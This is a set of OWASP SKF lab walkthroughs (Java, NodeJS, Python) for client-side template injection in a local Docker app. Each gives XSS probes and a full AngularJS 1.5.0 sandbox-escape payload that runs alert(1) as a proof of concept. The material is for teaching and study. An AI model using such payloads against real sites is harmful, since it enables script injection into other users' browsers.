arrow-left

All pages
gitbookPowered by GitBook
1 of 4

Loading...

Loading...

Loading...

Loading...

Client Side Template Injection (CSTI)

Java - Client Side Template Injection (CSTI)

hashtag
Running the app on Docker

circle-check

Now that the app is running let's go hacking!

hashtag
Reconnaissance

hashtag
Step 1

This application has a very cool interface, powered by a very cool framework that, every time the page is rendered, will scan the page for template expressions and evaluate them.

Before we deep dive in the exploitation phase, let's introduce how a template engins renders elements inside the page and how we can detect a Client Side Template Injection. If we look at the index.html page in the source code, we can see that a variable {{csti}} is used in the page

hashtag
Step 2

This can look like a XSS, but if we try to inject HTML tags we get a nice print-out from the application. Let's try!

circle-info

We are going to use the same payload of the XSS lab

Unfortunately the alert does not trigger :(

This is becuase AngularJS sanitize by default the input that will be reflected in the page.

hashtag
Step3

circle-exclamation

How do we get XSS?

AngularJS parses and renders every expression between curly brackets. So if we pass an arithmentic expression, such as {{7*7}}, we should expect 49 as a result.

!

circle-check

Bingo!!

hashtag
Exploitation

Now that we know that the frontend is vulnerable to a client side template injection, we want to do more than just printing out nice numbers.

Because Angular uses parsers to evaluate every expression in curly brackets, sanitize HTML values (through ng-bind-html attributes, if explicitly) and uses a sandbox to avoid JavaScript code to call functions outside of the Angular scope object, we need to go though the following steps to have a successful exploit:

  • break the sanitizer

  • escape the sandbox

  • forge a working payload

In this case, we do not need to find new way to do this, but we can just see if we can re-use a payload available for our version of Angular.

hashtag
Step 1

We want to identify wich version is used in the frontend. If we look at the source code we can see that in the <head> tag Angular v1.5.0 is loaded.

We need a payload that will allow us to inject JavaScript commands in the DOM and escape the sandbox, and, of course, pop up an alert box (just as a PoC)

hashtag
Step 2

Looking at possible payloads we found a working one for this version of Angular

We are not going in the details on how the exploit works, but you can refer to a nice blog post from PortsWigger. What we can say, is that the escape, breaks out of the sandbox (we are not in the scope object anymore) and allows us to execute JS in the DOM itself.

As we can see, our alert(1) is present in the payload. If we copy it in our input box we see that the full payload is reflected 'as-it-is', but the JavaScript is executed

Now we are able to execute JavaScript code in our DOM.

This would work if we would have used the latest version of Angular and escaped malicious characters.

hashtag
Additional sources

$ sudo docker pull blabla1337/owasp-skf-lab:java-csti
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-csti
<center><p style="font-size:2em;" th:text="${csti} ?: '' " /></center>
<script>alert('XSS')</script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.js"></script>
{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

NodeJS - Client Side Template Injection (CSTI)

hashtag
Running the app on Docker

circle-check

Now that the app is running let's go hacking!

hashtag
Reconnaissance

hashtag
Step 1

This application has a very cool interface, powered by a very cool framework that, every time the page is rendered, will scan the page for template expressions and evaluate them.

Before we deep dive in the exploitation phase, let's introduce how a template engins renders elements inside the page and how we can detect a Client Side Template Injection. If we look at the index.ejs page in the source code, we can see that a variable <%= CSTI %> is used in the page

hashtag
Step 2

This can look like a XSS, but if we try to inject HTML tags we get a nice print-out from the application. Let's try!

We are going to use the same payload of the XSS lab

Unfortunately the alert does not trigger :(

This is becuase AngularJS sanitize by default the input that will be reflected in the page.

hashtag
Step3

How do we get XSS?

AngularJS parses and renders every expression between curly brackets. So if we pass an arithmentic expression, such as {{7*7}}, we should expect 49 as a result.

!

Bingo!!

hashtag
Exploitation

Now that we know that the frontend is vulnerable to a client side template injection, we want to do more than just printing out nice numbers.

Because Angular uses parsers to evaluate every expression in curly brackets, sanitize HTML values (through ng-bind-html attributes, if explicitly) and uses a sandbox to avoid JavaScript code to call functions outside of the Angular scope object, we need to go though the following steps to have a successful exploit:

  • break the sanitizer

  • escape the sandbox

  • forge a working payload

In this case, we do not need to find new way to do this, but we can just see if we can re-use a payload available for our version of Angular.

hashtag
Step 1

We want to identify wich version is used in the frontend. If we look at the source code we can see that in the <head> tag Angular v1.5.0 is loaded.

We need a payload that will allow us to inject JavaScript commands in the DOM and escape the sandbox, and, of course, pop up an alert box (just as a PoC)

hashtag
Step 2

Looking at possible payloads we found a working one for Angular <= 1.5.0

We are not going in the details on how the exploit works, but you can refer to a nice blog post from PortsWigger. What we can say, is that the escape, breaks out of the sandbox (we are not in the scope object anymore) and allows us to execute JS in the DOM itself.

As we can see, our alert(1) is present in the payload. If we copy it in our input box we see that the full payload is reflected 'as-it-is', but the JavaScript is executed

Now we are able to execute JavaScript code in our DOM.

This would work if we would have used the latest version of Angular and escaped malicious characters.

hashtag
Additional sources

$ sudo docker pull blabla1337/owasp-skf-lab:js-csti
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-csti
<center><p style="font-size:2em;"><%= CSTI %></p></center>
">
<script>
  alert("XSS");
</script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.js"></script>
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}

Python - Client Side Template Injection (CSTI)

hashtag
Running the app on Docker

circle-check

Now that the app is running let's go hacking!

hashtag
Reconnaissance

hashtag
Step 1

This application has a very cool interface, powered by a very cool framework that, every time the page is rendered, will scan the page for template expressions and evaluate them.

Before we deep dive in the exploitation phase, let's introduce how a template engins renders elements inside the page and how we can detect a Client Side Template Injection. If we look at the index.html page in the source code, we can see that a variable {{CSTI}} is used in the page

hashtag
Step 2

This can look like a XSS, but if we try to inject HTML tags we get a nice print-out from the application. Let's try!

circle-info

We are going to use the same payload of the XSS lab

Unfortunately the alert does not trigger :(

This is becuase AngularJS sanitize by default the input that will be reflected in the page.

hashtag
Step3

circle-exclamation

How do we get XSS?

AngularJS parses and renders every expression between curly brackets. So if we pass an arithmentic expression, such as {{7*7}}, we should expect 49 as a result.

!

circle-check

Bingo!!

hashtag
Exploitation

Now that we know that the frontend is vulnerable to a client side template injection, we want to do more than just printing out nice numbers.

Because Angular uses parsers to evaluate every expression in curly brackets, sanitize HTML values (through ng-bind-html attributes, if explicitly) and uses a sandbox to avoid JavaScript code to call functions outside of the Angular scope object, we need to go though the following steps to have a successful exploit:

  • break the sanitizer

  • escape the sandbox

  • forge a working payload

In this case, we do not need to find new way to do this, but we can just see if we can re-use a payload available for our version of Angular.

hashtag
Step 1

We want to identify wich version is used in the frontend. If we look at the source code we can see that in the <head> tag Angular v1.5.0 is loaded.

We need a payload that will allow us to inject JavaScript commands in the DOM and escape the sandbox, and, of course, pop up an alert box (just as a PoC)

hashtag
Step 2

Looking at possible payloads we found a working one for Angular <= 1.5.0

We are not going in the details on how the exploit works, but you can refer to a nice blog post from PortsWigger. What we can say, is that the escape, breaks out of the sandbox (we are not in the scope object anymore) and allows us to execute JS in the DOM itself.

As we can see, our alert(1) is present in the payload. If we copy it in our input box we see that the full payload is reflected 'as-it-is', but the JavaScript is executed

Now we are able to execute JavaScript code in our DOM.

This would work if we would have used the latest version of Angular and escaped malicious characters.

hashtag
Additional sources

$ sudo docker pull blabla1337/owasp-skf-lab:csti
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:csti
<center> <p style="font-size:2em;"> {{CSTI}} </p></center>
"><script>alert('XSS')</script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.js"></script>
{
  {
    c = "".sub.call;
    b = "".sub.bind;
    a = "".sub.apply;
    c.$apply = $apply;
    c.$eval = b;
    op = $root.$$phase;
    $root.$$phase = null;
    od = $root.$digest;
    $root.$digest = {}.toString;
    C = c.$apply(c);
    $root.$$phase = op;
    $root.$digest = od;
    B = C(b, c, b);
    $evalAsync(
      " astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "
    );
    m1 = B($$asyncQueue.pop().expression, null, $root);
    m2 = B(C, null, m1);
    [].push.apply = m2;
    a = "".sub;
    $eval("a(b.c)");
    [].push.apply = a;
  }
}
XSS without HTML: Client-Side Template Injection with AngularJSPortSwigger Researchchevron-right
Logo
AngularJSdocs.angularjs.orgchevron-right
AngularJSdocs.angularjs.orgchevron-right
AngularJSdocs.angularjs.orgchevron-right
Logo
Logo
Logo
DOM based AngularJS sandbox escapesPortSwigger Researchchevron-right
DOM based AngularJS sandbox escapesPortSwigger Researchchevron-right
DOM based AngularJS sandbox escapesPortSwigger Researchchevron-right
Logo
Logo
Logo